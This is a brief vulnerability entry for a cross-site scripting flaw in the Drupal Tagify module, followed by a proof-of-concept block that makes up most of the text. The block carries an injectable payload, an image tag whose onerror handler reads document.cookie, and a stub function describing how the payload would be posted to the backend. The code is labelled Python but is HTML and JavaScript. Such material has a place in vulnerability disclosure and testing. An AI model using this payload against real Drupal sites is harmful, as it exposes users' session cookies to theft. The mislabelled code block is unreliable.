Improper Neutralization of Input During Web Page Generation ("Cross-site Scripting") vulnerability in Drupal Tagify allows Cross-Site Scripting (XSS).This issue affects Tagify: from 0.0.0 before 1.2.49.
The following code is for security research and authorized testing only.
python
<!-- PoC Concept for CVE-2026-3212 -->
<!-- Attacker injects script via Tagify input -->
<script>
// Example payload to be injected into a vulnerable tag field
var xssPayload = '<img src=x onerror=alert(document.cookie)>';
// Function to simulate sending the malicious tag
function exploit() {
console.log('Sending payload: ' + xssPayload);
// In a real scenario, this would be sent to the backend endpoint
// handling Tagify submissions (e.g., via AJAX POST)
}
exploit();
</script>